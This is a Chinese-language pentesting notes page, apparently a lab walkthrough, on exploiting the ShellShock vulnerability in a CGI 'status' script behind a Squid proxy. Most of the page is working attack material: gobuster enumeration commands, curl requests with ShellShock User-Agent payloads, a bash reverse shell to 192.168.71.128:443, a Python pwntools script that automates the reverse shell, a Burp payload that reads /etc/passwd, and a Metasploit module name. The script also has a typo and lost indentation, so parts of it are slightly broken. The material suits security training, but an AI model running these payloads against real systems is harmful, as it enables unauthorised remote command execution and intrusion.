> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/shellshock-attack/shellshock-status-pentesting-web.md).
# ShellShock 状态
使用该工具 **GoBuster**，我们搜索系统路径
```shell
gobuster dir -u http://192.168.71.131/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```
在这种情况下，我找到该路径 **/cgi-bin/**，它可能容易受到 ShellShock 攻击：
现在，在同一路径中，我们搜索具有以下扩展名的文件 **sh、pl、cgi**，等等。
```shell
gobuster dir -u http://192.168.71.131/cgi-bin/ --proxy http://192.168.71.131:3128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x pl,sh,cgi
```
## ShellShock：
使用 curl，如果我们发送一个查询，我们可以看到它是 **与 uptime 相同的命令**:
```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128
```
使用 curl，利用 **ShellShock** 漏洞执行命令。始终设置 **绝对路径**:
```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /usr/bin/whoami"
```
要 **获得访问权限** 到该机器，我们执行以下命令：
```shell
curl -s http://127.0.0.1/cgi-bin/status --proxy http://192.168.71.131:3128 -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"
```
## 自动化 Python 脚本：
```python
#!/usr/bin/python3
import sys, signal, requests, threading
from pwn import *
def def_handler(sig, frame):
print("/n/n[!] 正在退出.../n")
sys.exit(1)
# ShellShock 状态
signal.signal(signal.SIGINT, def_handler)
main_url = "http://127.0.0.1/cgi-bin/status"
squid_proxy = {'http': 'http://192.168.71.131:3128'}
lport = 443
def shellshock_attack():
headers = {'User-Agent': "() {:; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.71.128/443 0>&1'"}
r = requests.get(main_url, headers=headers, proxies=squid_proxy)
if __name__ == '__main__':
try:
threading.Thread(target=shellshock_attack).start()
except Exceptiwe as e:
log.error(str(e))
shell = listen(lport, timeout=20).wait_for_login()
if shell.sock is None:
log.failure("未能建立登录")
sys.exit(1)
else:
shell.interactive()
```
## 使用 Burp Suite 利用漏洞
在 Burp Suite 中，我们可以在请求头中注入 ShellShock 载荷 **User-Agent** 以尝试在目标服务器上执行命令：
```bash
User-Agent: () {:; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
```
如果存在该漏洞，服务器会返回该文件的内容 `/etc/passwd`，前提是能够执行命令。
## 使用 Metasploit 进行漏洞利用
Metasploit 为此漏洞提供了专用利用模块：加载 ShellShock 模块：
```bash
use exploit/multi/http/apache_mod_cgi_bash_env_exec
```
如果利用成功，将在目标机器上获得一个 shell。
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